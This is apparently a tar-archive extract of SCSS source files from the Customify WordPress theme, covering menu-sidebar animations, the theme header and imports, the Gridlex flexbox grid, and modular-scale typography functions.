transform: translate3d( - 100% ,0,0);
transition: transform .5s cubic-bezier(.79,.14,.15,.86);
@include mq( max-xs ) {
width: auto;
right: 45px;
}
}
}
/* Type: Slide from right */
.menu_sidebar_slide_right {
.header-menu-sidebar {
box-shadow: $menu_sidebar_boxshadow;
transition: transform .5s cubic-bezier(.79,.14,.15,.86);
transform: translate3d( 200%,0,0);
width: $menu_sidebar_width;
right: 0;
@include mq( max-xs ) {
width: auto;
left: 45px;
}
}
}
/* Type: Toggle dropdown */
.menu_sidebar_dropdown {
.header-menu-sidebar {
position: relative;
///transition: all .5s linear;
height: 0px;
display: block;
visibility: visible;
z-index: $menu_sidebar_active_z_index;
overflow: hidden;
}
.header-menu-sidebar-inner {
max-width: $menu_sidebar_content_max_width;
margin: 0 auto;
}
.header-menu-sidebar-bg {
&:before {
box-shadow: inset 0px 0px 12px 0px rgba(0,0,0,0.05);
}
}
}
/* Hiding Menu Sidebar animation. */
.hiding-header-menu-sidebar {
overflow-x: hidden;
position: relative;
width: 100%;
display: block;
&.menu_sidebar_slide_overlay {
.header-menu-sidebar {
z-index: 0;
opacity: 0;
height: 100%;
}
}
&.menu_sidebar_slide_left{
.header-menu-sidebar {
height: 100%;
transform: translateX(-100%);
transition: transform .5s cubic-bezier(.79, .14, .15, .86);
}
}
//left: 0;
.header-menu-sidebar {
visibility: visible;
}
&.menu_sidebar_slide_right {
.header-menu-sidebar {
transform: translateX(200%);
height: 100%;
}
}
}
/* Showing Menu Sidebar animation. */
.is-menu-sidebar, .is-mobile-form-panel {
//overflow: hidden;
overflow-x: hidden;
#wpadminbar {
// display: none;
}
#page {
// position: fixed;
// transform: scale3d(.9,.9,.9);
// box-shadow: 0 0 46px #000;
}
}
.is-menu-sidebar {
//overflow: hidden;
.header-menu-sidebar {
overflow: auto;
}
&.menu_sidebar_slide_overlay {
overflow: initial;
position: relative;
width: 100%;
display: block;
.header-menu-sidebar {
z-index: $menu_sidebar_active_z_index;
opacity: 1;
visibility: visible;
}
.menu-mobile-toggle {
opacity: 0;
}
}
&.menu_sidebar_slide_left {
overflow: initial;
position: relative;
width: 100%;
display: block;
.header-menu-sidebar {
z-index: $menu_sidebar_active_z_index;
height: 100vh;
transform: translate3d(0, 0, 0);
left: 0;
visibility: visible;
}
.menu-mobile-toggle {
opacity: 0;
}
}
&.menu_sidebar_slide_right {
overflow: initial;
position: relative;
width: 100%;
display: block;
.header-menu-sidebar {
z-index: $menu_sidebar_active_z_index;
height: 100vh;
max-width: 100vw;
transform: translate3d(0, 0, 0);
right: 0;
visibility: visible;
}
.menu-mobile-toggle {
opacity: 0;
}
}
&.menu_sidebar_dropdown {
//overflow: hidden;
.header-menu-sidebar {
z-index: 10;
//height: auto;
visibility: visible;
}
}
}
/* Close Button */
$close_size: 35px;
.close-sidebar-panel {
display: none;
z-index: $menu_sidebar_active_z_index + 10;
cursor: pointer;
position: fixed;
top: 10px;
right: 12px;
.hamburger-inner {
background: $light_color;
&:before, &::after {
background: inherit;
}
}
&:hover {
.hamburger-inner {
background: $light_color_link_hover;
}
}
}
.menu_sidebar_slide_right {
.close-sidebar-panel {
top: 10px;
right: auto;
left: 12px;
}
}
.menu_sidebar_dropdown {
.close-sidebar-panel {
display: none !important;
}
}
.is-menu-sidebar, .is-mobile-form-panel {
//transform-origin: 35px 50px 0;
//box-shadow: 0 0 46px #000;
&:before {
z-index: $menu_sidebar_active_z_index - 3;
visibility: visible;
opacity: 1;
}
.close-sidebar-panel {
display: inline-block;
}
}
/* - Item showing animation */
.header-menu-sidebar {
.item--inner {
transition: transform .3s, opacity .3s;
transform: translateY(45px);
opacity: 0;
//transition-delay: .2s;
}
}
.is-menu-sidebar, .is-mobile-form-panel {
.header-menu-sidebar {
.item--inner {
opacity: 1;
transform: translateY(0);
}
}
}
.mobile-item--search_box{
.search-form-fields{
width: 100%;
}
} site/style.scss 0000666 00000005072 15114372150 0007554 0 ustar 00 /*!
Theme Name: Customify
Theme URI: https://pressmaximum.com/customify
Author: WPCustomify
Author URI: https://pressmaximum.com
Description: Customify is fast, lightweight, responsive and super flexible multipurpose theme built with SEO, speed, and usability in mind. Unleash the power of your imagination with a true WYSIWYG Header & Footer builder (inside the WordPress Customizer) built exclusively for this theme. The theme works great with any of your favorite page builder likes Elementor, Beaver Builder, SiteOrigin, Thrive Architect, Divi, Visual Composer, etc. Combined with the Header & Footer builder, you can build any type of websites like shop, business agencies, corporate, portfolio, education, university portal, consulting, church, restaurant, medical and so on. Customify is compatible with all well-coded plugins, including major ones like WooCommerce, OrbitFox, Yoast, BuddyPress, bbPress, etc. Learn more about the theme and ready to import demo sites at https://pressmaximum.com/customify
Version: 0.3.3
License: GNU General Public License v2 or later
License URI: http://www.gnu.org/licenses/gpl-2.0.html
Text Domain: customify
Domain Path: /languages
Tags: custom-background, custom-logo, custom-menu, featured-images, flexible-header, footer-widgets, full-width-template, sticky-post, theme-options, threaded-comments, translation-ready, one-column, two-columns, three-columns, left-sidebar, right-sidebar, e-commerce, blog
This theme, like WordPress, is licensed under the GPL.
Use it to make something cool, have fun, and share what you've learned with others.
Customify is based on Underscores http://underscores.me/, (C) 2012-2016 Automattic, Inc.
Underscores is distributed under the terms of the GNU GPL v2 or later.
Normalizing styles have been helped along thanks to the fine work of
Nicolas Gallagher and Jonathan Neal http://necolas.github.io/normalize.css/
======
Note: Do not edit this file. If you wish to add your own CSS we strongly recommend creating your own child theme, or installing a custom CSS plugin.
======
*/
// == SASS Mixins & Variables ==
@import "utils/mixins";
@import "utils/vars";
// == Vendors Libraries ==
@import "vendors/vendors";
// == Site base ==
@import "base/base";
@import "base/comments";
@import "base/skins";
@import "base/blocks";
// == Site header ==
@import "header/header";
// == Site structure ==
@import "layouts/layouts";
@import "layouts/blogs";
@import "layouts/pages";
// == Widgets ==
@import "widgets/widgets";
// == Site footer ==
@import "footer/footer-common"; site/vendors/gridlex/_gridlex-vars.scss 0000666 00000020106 15114372150 0014273 0 ustar 00 //************************
// VARIABLES
//************************
$gl-gridName: customify-grid !default;
$gl-colName: customify-col !default;
$gl-attributeName: class !default;
$gl-gutter: 2em !default; // Total left + right
$gl-gutter-vertical: 0 !default;
$gl-mq-list: (
lg: "screen and (max-width: 80em)", // max 1280px
md: "screen and (max-width: 64em)", // max 1024px
sm: "screen and (max-width: 48em)", // max 768px
xs: "screen and (max-width: 35.5em)" // up to 568px
) !default;
$glp_col-1: (100%/12);
$glp_col-2: ($glp_col-1*2);
$glp_col-3: ($glp_col-1*3);
$glp_col-4: ($glp_col-1*4);
$glp_col-5: ($glp_col-1*5);
$glp_col-6: ($glp_col-1*6);
$glp_col-7: ($glp_col-1*7);
$glp_col-8: ($glp_col-1*8);
$glp_col-9: ($glp_col-1*9);
$glp_col-10: ($glp_col-1*10);
$glp_col-11: ($glp_col-1*11);
$glp_col-12: 100%;
$glp_col-5-12: (100%/5);
$glp_col-7-12: (100%/7);
$glp_col-8-12: (100%/8);
$glp_col-9-12: (100%/9);
$glp_col-10-12: (100%/10);
$glp_col-11-12: (100%/11);
// Function to generate the grid by number
@mixin makeGridByNumber($grid)
{
[#{$gl-attributeName}*="#{$grid}-1"] > [#{$gl-attributeName}~="#{$gl-colName}"],
[#{$gl-attributeName}*="#{$grid}-1"] > [#{$gl-attributeName}*="#{$gl-colName}-"],
[#{$gl-attributeName}*="#{$grid}-1"] > [#{$gl-attributeName}*="#{$gl-colName}_"] {
flex-basis: $glp_col-12;
max-width: $glp_col-12;
}
[#{$gl-attributeName}*="#{$grid}-2"] > [#{$gl-attributeName}~="#{$gl-colName}"],
[#{$gl-attributeName}*="#{$grid}-2"] > [#{$gl-attributeName}*="#{$gl-colName}-"],
[#{$gl-attributeName}*="#{$grid}-2"] > [#{$gl-attributeName}*="#{$gl-colName}_"] {
flex-basis: $glp_col-6;
max-width: $glp_col-6;
}
[#{$gl-attributeName}*="#{$grid}-3"] > [#{$gl-attributeName}~="#{$gl-colName}"],
[#{$gl-attributeName}*="#{$grid}-3"] > [#{$gl-attributeName}*="#{$gl-colName}-"],
[#{$gl-attributeName}*="#{$grid}-3"] > [#{$gl-attributeName}*="#{$gl-colName}_"] {
flex-basis: $glp_col-4;
max-width: $glp_col-4;
}
[#{$gl-attributeName}*="#{$grid}-4"] > [#{$gl-attributeName}~="#{$gl-colName}"],
[#{$gl-attributeName}*="#{$grid}-4"] > [#{$gl-attributeName}*="#{$gl-colName}-"],
[#{$gl-attributeName}*="#{$grid}-4"] > [#{$gl-attributeName}*="#{$gl-colName}_"] {
flex-basis: $glp_col-3;
max-width: $glp_col-3;
}
[#{$gl-attributeName}*="#{$grid}-5"] > [#{$gl-attributeName}~="#{$gl-colName}"],
[#{$gl-attributeName}*="#{$grid}-5"] > [#{$gl-attributeName}*="#{$gl-colName}-"],
[#{$gl-attributeName}*="#{$grid}-5"] > [#{$gl-attributeName}*="#{$gl-colName}_"] {
flex-basis: $glp_col-5-12;
max-width: $glp_col-5-12;
}
[#{$gl-attributeName}*="#{$grid}-6"] > [#{$gl-attributeName}~="#{$gl-colName}"],
[#{$gl-attributeName}*="#{$grid}-6"] > [#{$gl-attributeName}*="#{$gl-colName}-"],
[#{$gl-attributeName}*="#{$grid}-6"] > [#{$gl-attributeName}*="#{$gl-colName}_"] {
flex-basis: $glp_col-2;
max-width: $glp_col-2;
}
[#{$gl-attributeName}*="#{$grid}-7"] > [#{$gl-attributeName}~="#{$gl-colName}"],
[#{$gl-attributeName}*="#{$grid}-7"] > [#{$gl-attributeName}*="#{$gl-colName}-"],
[#{$gl-attributeName}*="#{$grid}-7"] > [#{$gl-attributeName}*="#{$gl-colName}_"] {
flex-basis: $glp_col-7-12;
max-width: $glp_col-7-12;
}
[#{$gl-attributeName}*="#{$grid}-8"] > [#{$gl-attributeName}~="#{$gl-colName}"],
[#{$gl-attributeName}*="#{$grid}-8"] > [#{$gl-attributeName}*="#{$gl-colName}-"],
[#{$gl-attributeName}*="#{$grid}-8"] > [#{$gl-attributeName}*="#{$gl-colName}_"] {
flex-basis: $glp_col-8-12;
max-width: $glp_col-8-12;
}
[#{$gl-attributeName}*="#{$grid}-9"] > [#{$gl-attributeName}~="#{$gl-colName}"],
[#{$gl-attributeName}*="#{$grid}-9"] > [#{$gl-attributeName}*="#{$gl-colName}-"],
[#{$gl-attributeName}*="#{$grid}-9"] > [#{$gl-attributeName}*="#{$gl-colName}_"] {
flex-basis: $glp_col-9-12;
max-width: $glp_col-9-12;
}
[#{$gl-attributeName}*="#{$grid}-10"] > [#{$gl-attributeName}~="#{$gl-colName}"],
[#{$gl-attributeName}*="#{$grid}-10"] > [#{$gl-attributeName}*="#{$gl-colName}-"],
[#{$gl-attributeName}*="#{$grid}-10"] > [#{$gl-attributeName}*="#{$gl-colName}_"] {
flex-basis: $glp_col-10-12;
max-width: $glp_col-10-12;
}
[#{$gl-attributeName}*="#{$grid}-11"] > [#{$gl-attributeName}~="#{$gl-colName}"],
[#{$gl-attributeName}*="#{$grid}-11"] > [#{$gl-attributeName}*="#{$gl-colName}-"] {
flex-basis: $glp_col-11-12;
max-width: $glp_col-11-12;
}
[#{$gl-attributeName}*="#{$grid}-12"] > [#{$gl-attributeName}~="#{$gl-colName}"],
[#{$gl-attributeName}*="#{$grid}-12"] > [#{$gl-attributeName}*="#{$gl-colName}-"],
[#{$gl-attributeName}*="#{$grid}-12"] > [#{$gl-attributeName}*="#{$gl-colName}_"] {
flex-basis: $glp_col-1;
max-width: $glp_col-1;
}
}
// Function to generate the grid by columns
@mixin makeCol($col)
{
[#{$gl-attributeName}~="#{$gl-gridName}"],
[#{$gl-attributeName}*="#{$gl-gridName}-"],
[#{$gl-attributeName}*="#{$gl-gridName}_"] {
> [#{$gl-attributeName}*="#{$col}-1"]{ flex-basis: $glp_col-1; max-width: $glp_col-1; }
> [#{$gl-attributeName}*="#{$col}-2"]{ flex-basis: $glp_col-2; max-width: $glp_col-2; }
> [#{$gl-attributeName}*="#{$col}-3"]{ flex-basis: $glp_col-3; max-width: $glp_col-3; }
> [#{$gl-attributeName}*="#{$col}-4"]{ flex-basis: $glp_col-4; max-width: $glp_col-4; }
> [#{$gl-attributeName}*="#{$col}-5"]{ flex-basis: $glp_col-5; max-width: $glp_col-5; }
> [#{$gl-attributeName}*="#{$col}-6"]{ flex-basis: $glp_col-6; max-width: $glp_col-6; }
> [#{$gl-attributeName}*="#{$col}-7"]{ flex-basis: $glp_col-7; max-width: $glp_col-7; }
> [#{$gl-attributeName}*="#{$col}-8"]{ flex-basis: $glp_col-8; max-width: $glp_col-8; }
> [#{$gl-attributeName}*="#{$col}-9"]{ flex-basis: $glp_col-9; max-width: $glp_col-9; }
> [#{$gl-attributeName}*="#{$col}-10"]{ flex-basis: $glp_col-10; max-width: $glp_col-10; }
> [#{$gl-attributeName}*="#{$col}-11"]{ flex-basis: $glp_col-11; max-width: $glp_col-11; }
> [#{$gl-attributeName}*="#{$col}-12"]{ flex-basis: $glp_col-12; max-width: $glp_col-12; }
}
}
// Function to generate the -first & -last base on mq keys (as _lg-first)
@mixin makeFirstLast($mq)
{
[#{$gl-attributeName}~="#{$gl-gridName}"],
[#{$gl-attributeName}*="#{$gl-gridName}-"],
[#{$gl-attributeName}*="#{$gl-gridName}_"] {
[#{$gl-attributeName}*="#{$mq}-first"]{
order: -1;
}
[#{$gl-attributeName}*="#{$mq}-last"]{
order: 1;
}
}
}
// Function to generate the offset
@mixin makeOff($off)
{
[#{$gl-attributeName}~="#{$gl-gridName}"],
[#{$gl-attributeName}*="#{$gl-gridName}-"],
[#{$gl-attributeName}*="#{$gl-gridName}_"] {
> [data-push-left*="#{$off}-0"]{ margin-left: 0; }
> [data-push-left*="#{$off}-1"]{ margin-left: $glp_col-1; }
> [data-push-left*="#{$off}-2"]{ margin-left: $glp_col-2; }
> [data-push-left*="#{$off}-3"]{ margin-left: $glp_col-3; }
> [data-push-left*="#{$off}-4"]{ margin-left: $glp_col-4; }
> [data-push-left*="#{$off}-5"]{ margin-left: $glp_col-5; }
> [data-push-left*="#{$off}-6"]{ margin-left: $glp_col-6; }
> [data-push-left*="#{$off}-7"]{ margin-left: $glp_col-7; }
> [data-push-left*="#{$off}-8"]{ margin-left: $glp_col-8; }
> [data-push-left*="#{$off}-9"]{ margin-left: $glp_col-9; }
> [data-push-left*="#{$off}-10"]{ margin-left: $glp_col-10; }
> [data-push-left*="#{$off}-11"]{ margin-left: $glp_col-11; }
> [data-push-right*="#{$off}-0"]{ margin-right: 0; }
> [data-push-right*="#{$off}-1"]{ margin-right: $glp_col-1; }
> [data-push-right*="#{$off}-2"]{ margin-right: $glp_col-2; }
> [data-push-right*="#{$off}-3"]{ margin-right: $glp_col-3; }
> [data-push-right*="#{$off}-4"]{ margin-right: $glp_col-4; }
> [data-push-right*="#{$off}-5"]{ margin-right: $glp_col-5; }
> [data-push-right*="#{$off}-6"]{ margin-right: $glp_col-6; }
> [data-push-right*="#{$off}-7"]{ margin-right: $glp_col-7; }
> [data-push-right*="#{$off}-8"]{ margin-right: $glp_col-8; }
> [data-push-right*="#{$off}-9"]{ margin-right: $glp_col-9; }
> [data-push-right*="#{$off}-10"]{ margin-right: $glp_col-10; }
> [data-push-right*="#{$off}-11"]{ margin-right: $glp_col-11; }
}
} site/vendors/gridlex/_gridlex.scss 0000666 00000014264 15114372150 0013332 0 ustar 00 /* ==========================================================================
GRIDLEX
Just a Flexbox Grid System - v. 2.4.1
========================================================================== */
@import "gridlex-vars";
// GRID
[#{$gl-attributeName}~="#{$gl-gridName}"],
[#{$gl-attributeName}*="#{$gl-gridName}-"],
[#{$gl-attributeName}*="#{$gl-gridName}_"] {
box-sizing: border-box;
display: flex;
flex-flow: row wrap;
margin: 0 (-$gl-gutter/2);
}
// COLS
[#{$gl-attributeName}~="#{$gl-colName}"],
[#{$gl-attributeName}*="#{$gl-colName}-"],
[#{$gl-attributeName}*="#{$gl-colName}_"] {
box-sizing: border-box;
padding: 0 ($gl-gutter/2) $gl-gutter-vertical;
max-width: 100%;
}
// JUST "COL" & "COL_"
[#{$gl-attributeName}~="#{$gl-colName}"],
[#{$gl-attributeName}*="#{$gl-colName}_"] {
flex: 1 1 0%;
}
// JUST "COL-"
[#{$gl-attributeName}*="#{$gl-colName}-"] {
flex: none;
}
// COL & GRID
[#{$gl-attributeName}~="#{$gl-gridName}"][#{$gl-attributeName}~="#{$gl-colName}"],
[#{$gl-attributeName}~="#{$gl-gridName}"][#{$gl-attributeName}*="#{$gl-colName}-"],
[#{$gl-attributeName}~="#{$gl-gridName}"][#{$gl-attributeName}*="#{$gl-colName}_"],
[#{$gl-attributeName}*="#{$gl-gridName}-"][#{$gl-attributeName}~="#{$gl-colName}"],
[#{$gl-attributeName}*="#{$gl-gridName}-"][#{$gl-attributeName}*="#{$gl-colName}-"],
[#{$gl-attributeName}*="#{$gl-gridName}-"][#{$gl-attributeName}*="#{$gl-colName}_"],
[#{$gl-attributeName}*="#{$gl-gridName}_"][#{$gl-attributeName}~="#{$gl-colName}"],
[#{$gl-attributeName}*="#{$gl-gridName}_"][#{$gl-attributeName}*="#{$gl-colName}-"],
[#{$gl-attributeName}*="#{$gl-gridName}_"][#{$gl-attributeName}*="#{$gl-colName}_"] {
margin: 0;
padding: 0;
}
/************************
HELPERS SUFFIXES
*************************/
// FOR GRID
[#{$gl-attributeName}*="#{$gl-gridName}-"] {
// No spacing between cols : noGutter
&[#{$gl-attributeName}*="-noGutter"] {
margin: 0;
> [#{$gl-attributeName}~="#{$gl-colName}"],
> [#{$gl-attributeName}*="#{$gl-colName}-"] {
padding: 0;
}
}
// No Wrapping
&[#{$gl-attributeName}*="-noWrap"] {
flex-wrap: nowrap;
}
// Horizontal alignment on center
&[#{$gl-attributeName}*="-center"] {
justify-content: center;
}
// Horizontal alignment on right
&[#{$gl-attributeName}*="-right"] {
justify-content: flex-end;
align-self: flex-end;
margin-left: auto;
}
// Vertical alignment on top
&[#{$gl-attributeName}*="-top"] {
align-items: flex-start;
}
// Vertical alignment on middle
&[#{$gl-attributeName}*="-middle"] {
align-items: center;
}
// Vertical alignment on bottom
&[#{$gl-attributeName}*="-bottom"] {
align-items: flex-end;
}
// Orders
&[#{$gl-attributeName}*="-reverse"] {
flex-direction: row-reverse;
}
&[#{$gl-attributeName}*="-column"] {
flex-direction: column;
> [#{$gl-attributeName}*="#{$gl-colName}-"] {
flex-basis: auto;
}
}
&[#{$gl-attributeName}*="-column-reverse"] {
flex-direction: column-reverse;
}
// Spaces between and around cols
&[#{$gl-attributeName}*="-spaceBetween"] {
justify-content: space-between;
}
&[#{$gl-attributeName}*="-spaceAround"] {
justify-content: space-around;
}
// Equal heights columns
&[#{$gl-attributeName}*="-equalHeight"] > [#{$gl-attributeName}~="#{$gl-colName}"],
&[#{$gl-attributeName}*="-equalHeight"] > [#{$gl-attributeName}*="#{$gl-colName}-"],
&[#{$gl-attributeName}*="-equalHeight"] > [#{$gl-attributeName}*="#{$gl-colName}_"] {
align-self: stretch;
> * {
height: 100%;
}
}
// Removes the padding-bottom
&[#{$gl-attributeName}*="-noBottom"] > [#{$gl-attributeName}~="#{$gl-colName}"],
&[#{$gl-attributeName}*="-noBottom"] > [#{$gl-attributeName}*="#{$gl-colName}-"],
&[#{$gl-attributeName}*="-noBottom"] > [#{$gl-attributeName}*="#{$gl-colName}_"] {
padding-bottom: 0;
}
}
// FOR COL
[#{$gl-attributeName}*="#{$gl-colName}-"] {
&[#{$gl-attributeName}*="-top"] {
align-self: flex-start;
}
&[#{$gl-attributeName}*="-middle"] {
align-self: center;
}
&[#{$gl-attributeName}*="-bottom"] {
align-self: flex-end;
}
&[#{$gl-attributeName}*="-first"] {
order: -1;
}
&[#{$gl-attributeName}*="-last"] {
order: 1;
}
}
/************************
GRID BY NUMBER
*************************/
@include makeGridByNumber(#{$gl-gridName});
@each $mq-key, $mq-value in $gl-mq-list {
@media #{$mq-value} {
@include makeGridByNumber(_#{$mq-key});
}
}
/************************
COLS SIZES
*************************/
@include makeCol(#{$gl-colName});
@include makeOff(off);
@each $mq-key, $mq-value in $gl-mq-list {
@media #{$mq-value} {
@include makeCol(_#{$mq-key});
@include makeOff(_#{$mq-key});
@include makeFirstLast(_#{$mq-key});
}
}
/************************
HIDING COLS
*************************/
/*[#{$gl-attributeName}*="#{$gl-colName}-"]:not([#{$gl-attributeName}*="#{$gl-gridName}"]):not([#{$gl-attributeName}*="#{$gl-colName}-0"]) {
display: block;
}
[#{$gl-attributeName}~="#{$gl-gridName}"][#{$gl-attributeName}*="#{$gl-colName}-"]:not([#{$gl-attributeName}*="#{$gl-colName}-0"]) {
display: flex;
}*/
[#{$gl-attributeName}*="#{$gl-colName}-"][#{$gl-attributeName}*="#{$gl-colName}-0"] {
display: none;
}
@each $mq-key, $mq-value in $gl-mq-list {
@media #{$mq-value} { //_#{$mq-key}
[#{$gl-attributeName}~="#{$gl-gridName}"],
[#{$gl-attributeName}*="#{$gl-gridName}-"],
[#{$gl-attributeName}*="#{$gl-gridName}_"] {
> :not([#{$gl-attributeName}*="_#{$mq-key}-0"]) {
display: block;
}
/*
&:not([#{$gl-attributeName}*="_#{$mq-key}-0"]) {
display: flex;
}*/
> [#{$gl-attributeName}*="_#{$mq-key}-0"] {
//&[#{$gl-attributeName}*="-equalHeight"] > [#{$gl-attributeName}*="_#{$mq-key}-0"]{
display: none;
}
}
}
}
site/vendors/modularscale/_sugar.scss 0000666 00000000511 15114372150 0014020 0 ustar 00 // To attempt to avoid conflicts with other libraries
// all funcitons are namespaced with `ms-`.
// However, to increase usability, a shorthand function is included here.
@function ms($v: 0, $base: false, $ratio: false, $thread: false, $settings: $modularscale) {
@return ms-function($v, $base, $ratio, $thread, $settings);
} site/vendors/modularscale/_target.scss 0000666 00000002325 15114372150 0014172 0 ustar 00 // Convert number string to number
@function ms-to-num($n) {
$l: str-length($n);
$r: 0;
$m: str-index($n,'.');
@if $m == null {
$m: $l + 1;
}
// Loop through digits and convert to numbers
@for $i from 1 through $l {
$v: str-slice($n,$i,$i);
@if $v == '1' { $v: 1; }
@elseif $v == '2' { $v: 2; }
@elseif $v == '3' { $v: 3; }
@elseif $v == '4' { $v: 4; }
@elseif $v == '5' { $v: 5; }
@elseif $v == '6' { $v: 6; }
@elseif $v == '7' { $v: 7; }
@elseif $v == '8' { $v: 8; }
@elseif $v == '9' { $v: 9; }
@elseif $v == '0' { $v: 0; }
@else { $v: null; }
@if $v != null {
$m: $m - 1;
$r: $r + ms-pow(10,$m - 1) * $v;
} @else {
$l: $l - 1;
}
}
@return $r;
}
// Find a ratio based on a target value
@function ms-target($t,$b) {
// Convert to string
$t: $t + '';
// Remove base units to calulate ratio
$b: ms-unitless(nth($b,1));
// Find where 'at' is in the string
$at: str-index($t,'at');
// Slice the value and target out
// and convert strings to numbers
$v: ms-to-num(str-slice($t,0,$at - 1));
$t: ms-to-num(str-slice($t,$at + 2));
// Solve the modular scale function for the ratio.
@return ms-pow(($v/$b),(1/$t));
} site/vendors/modularscale/_function.scss 0000666 00000003054 15114372150 0014531 0 ustar 00 @function ms-function($v: 0, $base: false, $ratio: false, $thread: false, $settings: $modularscale) {
// Parse settings
$ms-settings: ms-settings($base,$ratio,$thread,$settings);
$base: nth($ms-settings, 1);
$ratio: nth($ms-settings, 2);
// Render target values from settings.
@if unit($ratio) != '' {
$ratio: ms-target($ratio,$base)
}
// Fast calc if not multi stranded
@if(length($base) == 1) {
@return ms-round-px(ms-pow($ratio, $v) * $base);
}
// Create new base array
$ms-bases: nth($base,1);
// Normalize base values
@for $i from 2 through length($base) {
// initial base value
$ms-base: nth($base,$i);
// If the base is bigger than the main base
@if($ms-base > nth($base,1)) {
// divide the value until it aligns with main base.
@while($ms-base > nth($base,1)) {
$ms-base: $ms-base / $ratio;
}
$ms-base: $ms-base * $ratio;
}
// If the base is smaller than the main base.
@elseif ($ms-base < nth($base,1)) {
// pump up the value until it aligns with main base.
@while $ms-base < nth($base,1) {
$ms-base: $ms-base * $ratio;
}
}
// Push into new array
$ms-bases: append($ms-bases,$ms-base);
}
// Sort array from smallest to largest.
$ms-bases: ms-sort($ms-bases);
// Find step to use in calculation
$vtep: floor($v / length($ms-bases));
// Find base to use in calculation
$ms-base: round(($v / length($ms-bases) - $vtep) * length($ms-bases)) + 1;
@return ms-round-px(ms-pow($ratio, $vtep) * nth($ms-bases,$ms-base));
} site/vendors/modularscale/_pow.scss 0000666 00000002130 15114372150 0013503 0 ustar 00 // Sass does not have native pow() support so this needs to be added.
// Compass and other libs implement this more extensively.
// In order to keep this simple, use those when they are avalible.
// Issue for pow() support in Sass: https://github.com/sass/sass/issues/684
@function ms-pow($b,$e) {
// Return 1 if exponent is 0
@if $e == 0 {
@return 1;
}
// If pow() exists (compass or mathsass) use that.
@if function-exists('pow') {
@return pow($b,$e);
}
// This does not support non-integer exponents,
// Check and return an error if a non-integer exponent is passed.
@if (floor($e) != $e) {
@error 'Non-integer values are not supported in modularscale by default. Try using mathsass in your project to add non-integer scale support. https://github.com/terkel/mathsass'
}
// Seed the return.
$ms-return: $b;
// Multiply or divide by the specified number of times.
@if $e > 0 {
@for $i from 1 to $e {
$ms-return: $ms-return * $b;
}
}
@if $e < 0 {
@for $i from $e through 0 {
$ms-return: $ms-return / $b;
}
}
@return $ms-return;
} site/vendors/modularscale/_settings.scss 0000666 00000001422 15114372150 0014541 0 ustar 00 // Parse settings starting with defaults.
// Settings should cascade down like you would expect in CSS.
// More specific overrides previous settings.
@function ms-settings($b: false, $r: false, $t: false, $m: $modularscale) {
$base: $ms-base;
$ratio: $ms-ratio;
$thread: map-get($m, $t);
// Override with user settings
@if map-get($m, base) {
$base: map-get($m, base);
}
@if map-get($m, ratio) {
$ratio: map-get($m, ratio);
}
// Override with thread settings
@if $thread {
@if map-get($thread, base) {
$base: map-get($thread, base);
}
@if map-get($thread, ratio) {
$ratio: map-get($thread, ratio);
}
}
// Override with inline settings
@if $b {
$base: $b;
}
@if $r {
$ratio: $r;
}
@return $base $ratio;
} site/vendors/modularscale/_strip-units.scss 0000666 00000000417 15114372150 0015205 0 ustar 00 // Stripping units is not a best practice
// This function should not be used elsewhere
// It is used here because calc() doesn't do unit logic
// AND target ratios use units as a hack to get a number.
@function ms-unitless($val) {
@return ($val / ($val - $val + 1));
} site/vendors/modularscale/_sort.scss 0000666 00000001753 15114372150 0013677 0 ustar 00 // Basic list sorting
// Would like to replace with http://sassmeister.com/gist/30e4863bd03ce0e1617c
// Unfortunately libsass has a bug with passing arguments into the min() funciton.
@function ms-sort($l) {
// loop until the list is confirmed to be sorted
$sorted: false;
@while $sorted == false {
// Start with the assumption that the lists are sorted.
$sorted: true;
// Loop through the list, checking each value with the one next to it.
// Swap the values if they need to be swapped.
// Not super fast but simple and modular scale doesn't lean hard on sorting.
@for $i from 2 through length($l) {
$n1: nth($l,$i - 1);
$n2: nth($l,$i);
// If the first value is greater than the 2nd, swap them.
@if $n1 > $n2 {
$l: set-nth($l, $i, $n1);
$l: set-nth($l, $i - 1, $n2);
// The list isn't sorted and needs to be looped through again.
$sorted: false;
}
}
}
// Return the sorted list.
@return $l;
} site/vendors/modularscale/_vars.scss 0000666 00000001646 15114372150 0013664 0 ustar 00 // Ratios
$double-octave : 4 ;
$pi : 3.14159265359 ;
$major-twelfth : 3 ;
$major-eleventh : 2.666666667 ;
$major-tenth : 2.5 ;
$octave : 2 ;
$major-seventh : 1.875 ;
$minor-seventh : 1.777777778 ;
$major-sixth : 1.666666667 ;
$phi : 1.618034 ;
$golden : $phi ;
$minor-sixth : 1.6 ;
$fifth : 1.5 ;
$augmented-fourth : 1.41421 ;
$fourth : 1.333333333 ;
$major-third : 1.25 ;
$minor-third : 1.2 ;
$major-second : 1.125 ;
$minor-second : 1.066666667 ;
// Base config
$ms-base : 1em !default;
$ms-ratio : $golden !default;
$modularscale: (
base: 1em 0.875em,
ratio: 1.618
); site/vendors/modularscale/_respond.scss 0000666 00000003212 15114372150 0014352 0 ustar 00 // Generate calc() function
// based on Mike Riethmuller's Precise control over responsive typography
// http://madebymike.com.au/writing/precise-control-responsive-typography/
@function ms-fluid($val1: 1em, $val2: 1em, $break1: 0, $break2: 0) {
$diff: ms-unitless($val2) - ms-unitless($val1);
// v1 + (v2 - v1) * ( (100vw - b1) / b2 - b1 )
@return calc( #{$val1} + #{ms-unitless($val2) - ms-unitless($val1)} * ( ( 100vw - #{$break1}) / #{ms-unitless($break2) - ms-unitless($break1)} ) );
}
// Main responsive mixin
@mixin ms-respond($prop, $val, $map: $modularscale) {
$base: $ms-base;
$ratio: $ms-ratio;
$first-write: true;
$last-break: null;
// loop through all settings with a breakpoint type value
@each $v, $s in $map {
@if type-of($v) == number {
@if unit($v) != '' {
// Write out the first value without a media query.
@if $first-write {
#{$prop}: ms-function($val, $thread: $v, $settings: $map);
// Not the first write anymore, reset to false to move on.
$first-write: false;
$last-break: $v;
}
// Write intermediate breakpoints.
@else {
@media (min-width: $last-break) and (max-width: $v) {
$val1: ms-function($val, $thread: $last-break, $settings: $map);
$val2: ms-function($val, $thread: $v, $settings: $map);
#{$prop}: ms-fluid($val1,$val2,$last-break,$v);
}
$last-break: $v;
}
}
}
}
// Write the last breakpoint.
@if $last-break {
@media (min-width: $last-break) {
#{$prop}: ms-function($val, $thread: $last-break, $settings: $map);
}
}
} site/vendors/modularscale/_round-px.scss 0000666 00000000257 15114372150 0014462 0 ustar 00 // No reason to have decimal pixel values,
// normalize them to whole numbers.
@function ms-round-px($r) {
@if unit($r) == 'px' {
@return round($r);
}
@return $r;
} site/vendors/_vendors.scss 0000666 00000000636 15114372150 0011714 0 ustar 00 // Modular Scale
@import 'modularscale/vars';
@import 'modularscale/settings';
